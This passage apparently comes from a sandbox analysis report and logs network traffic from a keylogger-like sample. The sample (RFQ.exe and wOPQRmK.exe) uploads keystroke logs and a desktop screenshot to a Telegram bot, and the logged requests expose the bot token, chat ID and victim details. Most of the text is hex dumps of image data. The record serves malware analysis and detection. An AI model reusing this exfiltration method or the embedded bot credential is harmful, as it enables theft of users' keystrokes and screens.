f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2025-03-11 14:34:31 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2025-03-11 14:34:31 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:38 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:34:38 GMT Content-Type: application/json Content-Length: 559 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49709	149.154.167.220	443	7340	C:\Users\user\AppData\Roaming\wOPQRmK.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:34:40 UTC	561	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 964 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:34:40 UTC	964	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 6b 52 4a 77 57 64 62 79 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 32 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 32 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 32 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDatakRJwWdby.txt"Content-Type: application/octet-stream[10:34:25]<<Program Manager>>[10:34:25]<<Program Manager>>[10:34:25]<<Program Mana
2025-03-11 14:34:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:34:41 GMT Content-Type: application/json Content-Length: 557 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-11 14:34:41 UTC	557	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 31 36 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 35 30 33 30 32 39 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 73 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 37 33 32 34 35 36 36 36 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4f 62 61 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 62 64 6f 6e 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 37 30 33 36 38 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 Data Ascii: {"ok":true,"result":{"message_id":28160,"from":{"id":7725030292,"is_bot":true,"first_name":"obilogs","username":"obilogssbot"},"chat":{"id":6732456666,"first_name":"Oba1","username":"Obdon1","type":"private"},"date":1741703680,"document":{"file_name":"Key

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49710	149.154.167.220	443	2724	C:\Users\user\Desktop\RFQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:34:40 UTC	561	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KL:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 964 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:34:40 UTC	964	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 57 42 65 52 59 6f 72 48 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 32 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 32 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 32 36 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataWBeRYorH.txt"Content-Type: application/octet-stream[10:34:25]<<Program Manager>>[10:34:25]<<Program Manager>>[10:34:26]<<Program Mana
2025-03-11 14:34:41 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:34:41 GMT Content-Type: application/json Content-Length: 553 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-11 14:34:41 UTC	553	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 31 36 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 35 30 33 30 32 39 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 73 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 37 33 32 34 35 36 36 36 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4f 62 61 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 62 64 6f 6e 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 37 30 33 36 38 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 Data Ascii: {"ok":true,"result":{"message_id":28161,"from":{"id":7725030292,"is_bot":true,"first_name":"obilogs","username":"obilogssbot"},"chat":{"id":6732456666,"first_name":"Oba1","username":"Obdon1","type":"private"},"date":1741703681,"document":{"file_name":"Key

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49711	149.154.167.220	443	7340	C:\Users\user\AppData\Roaming\wOPQRmK.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:34:43 UTC	578	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-KeyDataWBeRYorH.txt:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 964 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:34:43 UTC	964	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 57 42 65 52 59 6f 72 48 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 32 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 32 35 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 31 30 3a 33 34 3a 32 36 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataWBeRYorH.txt"Content-Type: application/octet-stream[10:34:25]<<Program Manager>>[10:34:25]<<Program Manager>>[10:34:26]<<Program Mana
2025-03-11 14:34:43 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 11 Mar 2025 14:34:43 GMT Content-Type: application/json Content-Length: 571 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-03-11 14:34:43 UTC	571	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 38 31 36 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 35 30 33 30 32 39 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6f 62 69 6c 6f 67 73 73 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 37 33 32 34 35 36 36 36 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4f 62 61 31 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 62 64 6f 6e 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 34 31 37 30 33 36 38 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 4b 65 79 Data Ascii: {"ok":true,"result":{"message_id":28162,"from":{"id":7725030292,"is_bot":true,"first_name":"obilogs","username":"obilogssbot"},"chat":{"id":6732456666,"first_name":"Oba1","username":"Obdon1","type":"private"},"date":1741703683,"document":{"file_name":"Key

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49712	149.154.167.220	443	2724	C:\Users\user\Desktop\RFQ.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-11 14:34:45 UTC	565	OUT	POST /bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-SC:::user-PC\user\8.46.123.189 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2025-03-11 14:34:45 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 65 6a 6a 52 49 53 75 4f 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotejjRISuO.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2025-03-11 14:34:45 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2025-03-11 14:34:45 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 